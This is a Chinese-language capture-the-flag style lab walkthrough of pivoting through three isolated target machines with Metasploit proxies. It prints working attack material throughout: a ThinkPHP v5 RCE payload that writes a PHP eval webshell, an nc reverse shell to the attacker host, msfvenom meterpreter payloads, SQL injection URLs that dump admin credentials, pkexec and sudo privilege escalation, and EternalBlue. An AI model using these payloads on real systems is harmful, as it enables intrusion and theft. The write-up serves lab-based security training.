宝塔渗透之msf代理入侵

2023-02-15,,,,

前言

渗透中遇到内网主机是一层接一层的拓扑形式,可以采用多层代理加路由转发访问,便于在渗透中出现网段隔绝可以使用此方法跳出局限

实验环境

kali: 192.168.75.131

target-centos7: 网卡1 192.168.75.132 网卡2 192.168.22.128

target-ubuntu: 网卡1 192.168.22.129 网卡2 192.168.33.128

target-win7: 网卡1 192.168.33.33

三台靶机链接地址:https://pan.baidu.com/s/1ot1S1ou_-dofsZQ9c0dtYg?pwd=38gx

下载到本机后,打开cmd 将所有文件合成为一个,命令如下

copy /b CFS三层靶机环境.7z* CFS.7z

拿到压缩包,解压密码为teamssix.com

linux靶机账号密码均为 root teamssix.com

windows靶机密码为teamssix.com

环境搭建

先配置VMware网卡 三个网卡添加方式都一样,都是仅主机模式

导入三台靶机

第一台靶机查看到有ip出现,物理机直接访问 http://192.168.75.132:8888/a768f109

账号 eaj3yhsl 密码 41bb8fee

设置成功,物理机访问http://192.168.75.132 显示如下说明搭建成功

第二台靶机 查看到ip 物理机访问http://192.168.22.129:8888/2cc52ec0

账号 xdynr37d 密码 123qwe..

设置成功,物理机访问 http://192.168.22.129 显示如下说明搭建成功

第三台靶机 导入,修改网卡并登陆 登陆密码 teamssix.com

除此之外,kali主机也要设置网卡网段与第一台靶机的网卡1同网段

进入interfaces修改网络配置

vi /etc/network/interfaces

温馨提示:这里搭建完三台靶机,建议进行快照,否则三台靶机同时运行容易崩溃,挂起之后就会崩溃,ip会无法识别

渗透部分

首先使用nmap扫描ip

nmap 192.168.75.132 -O -sV

得到一个thinkphp v5的首页,二话不说直接开启dirsearch扫描

python dirsearch.py -u http://192.168.75.132/ -e* //python是用python3,这里我自己改过

仅仅只有三个目录,index.php就是当前访问的页面,我们查看robots.txt

一般robots.txt都会隐藏一些不可爬取的目录

但这里发现除了一个flag没有其他的信息,那就只能继续从index.php入手了,而且favicon.ico只是一个图像,没有可用信息

这里我们尝试xray工具去扫描存在什么漏洞,在浏览器配置代理ip为127.0.0.1,端口为8888(端口随意,但要跟xray监听端口一致),配置完浏览器,开启xray监听,再刷新页面就可以扫描了

发现是一个thinkphp v5的远程命令执行漏洞,且漏洞就在index.php,这里暂时不访问漏洞链接,里边是一个大佬写的poc

紧接着,我们不知道他的get参数,可以使用kali的wfuzz进行爆破参数

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --sc 404 http://192.168.75.132/?FUZZ=id

//-c 是显示颜色,-w是使用字典,--sc 404是将响应码为404的参数显示出来,FUZZ是爆破参数,参数后面跟着id是因为远程命令执行时可用直接使用id查看用户uid和guid

爆破出一个404响应码的s参数,接下来构造poc

s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?>

显示如下就写入一句话成功,然后使用蚁剑连接

拿到webshell后进入后台终端,使用nc -v尝试是否有可执行的nc,不用不知道,一用吓一跳,真有nc可用,那么我们就直接尝试用nc来端口转发,将后台终端转发到我们的kali上,方便后续提权

kali开启监听,后台终端连接并弹shell

kali: nc -lvnp 6666 后台: nc 192.168.75.131 6666 -e /bin/bash

查看可执行权限 find / -perm -4000 2>/dev/null

使用脚本扫描信息得出,有一个sudoedit -s /的漏洞 sudo 转义了反斜杠,但是sudoedit并没有导致了漏洞的出现 cve-2021-3156

脚本链接:https://github.com/Realradioactive/archive-linux-exploit-suggester-master

直接下载CVE-2021-3156的脚本执行,脚本利用sudoedit -s /的漏洞,写入一个密码为gg的用户gg,权限为root

由于我们这里要用msf来多层代理入侵,所以可以采用生成后门木马,上传到网站后台执行,上面nc是用来提权

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.75.131 LPORT=1111 -f elf > shell.elf

use exploit/mutli/handler
set lport 1111
set lhost 192.168.75.131
set payload linux/x64/meterpreter/reverse_tcp

查看到有两个网卡信息,由于我们现在已经在第一台靶机后台,我们没办法让第二台靶机反连我们,只能我们去直连,必需先设置去往下一台靶机的路由

run autoroute -s 192.168.22.0/24

开启msf代理模块,设置代理端口和代理版本为socks4

use auxiliary/server/socks_proxy
set srvport 2222
set version 4a
run

设置/etc/proxychains4.conf

vi /etc/proxychains.conf

192.168.75.131 2222

使用代理加nmap扫描 192.168.22.129 第二台靶机

给kali火狐添加刚刚配置的代理ip和端口,然后访问192.168.22.129

这里查看robots.txt发现有一个提示是 index.php?r=admini* ,可能是网站后台登录管理

网站提示 漏洞点在 /index.php?r=vul&keyword=1 而且是一个SQL注入

尝试闭合,发现有报错,再构造 ' and 1=1%23发现界面没报错了(自行尝试)

这里的字段,我尝试了发现有39个,让我有点震惊,这里我优先选择尝试union查询,poc如下:

查数据库
http://192.168.22.129/index.php?r=vul&keyword=1%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,database()%23
查表
http://192.168.22.129/index.php?r=vul&keyword=1%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
查字段
http://192.168.22.129/index.php?r=vul&keyword=1%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27bage_admin%27%23
查数据
http://192.168.22.129/index.php?r=vul&keyword=1%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(id,0x5c,username,0x5c,password)%20from%20bage_admin%23

这里得到了一串加密的密码,直接md5解密得到密码是 123qwe,直接登录后台

进入后台模板发现可以给index.php文件写入,直接在index.php构造一个一句话木马,而后使用蚁剑连接,如果是真实渗透,需要配置代理连接

连接成功后,直接msf生成后门木马,开启监听连接,注意:这里msfconsole也要开代理进入

msf生成病毒
msfvenom -p linux/x64/meterpreter/bind_tcp rhost=192.168.22.129 LPORT=4444 -f elf > test.elf
msf开启监听
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set lport 4444
set rhost 192.168.22.129
run

进入shell 优化窗口 python -c "import pty;pty.spawn('/bin/bash')"

这里节省时间,直接下载第二台靶机的漏洞利用脚本 CVE-2021-4034

这个漏洞原理是:

Polkit(PolicyKit)是一个用于控制类Unix系统中控制系统范围权限的组件,它为非特权进程与特权进程的通信提供了一种有组织的方式。pkexec是Polkit开源应用框架的一部分,它负责协商特权进程和非特权进程之间的互动,允许授权用户以另一个用户的身份执行命令,是sudo的替代方案。

该漏洞是由于pkexec在处理传入参数的逻辑出现问题,导致环境变量被污染,最终交由pkexec代码逻辑执行实现客户机权限提升。有普通权限用户的攻击者通过执行漏洞文件,触发越界读写,从而在目标系统上造成权限提升

详细讲解可参考这个师傅 https://www.cnblogs.com/vpandaxjl/p/15858288.html

提权成功,返回meterpreter界面,添加192.168.33.0网段的路由

再次配置代理,端口不能一样

use auxiliary/server/socks_proxy
set srvport 3333
set version 4a
run

proxychains4 nmap -Pn -sT 192.168.33.33

有445端口,猜测是有文件共享服务的,可能是一个windows操作系统

使用msf扫描模块 检测一下

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.33.33
set threads 10
run

查看到是window7系统,直接使用永恒之蓝渗透

search ms17-010
use 1
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.33.33
run

宝塔渗透之msf代理入侵的相关教程结束。

《宝塔渗透之msf代理入侵.doc》

下载本文的Word格式文档,以方便收藏与打印。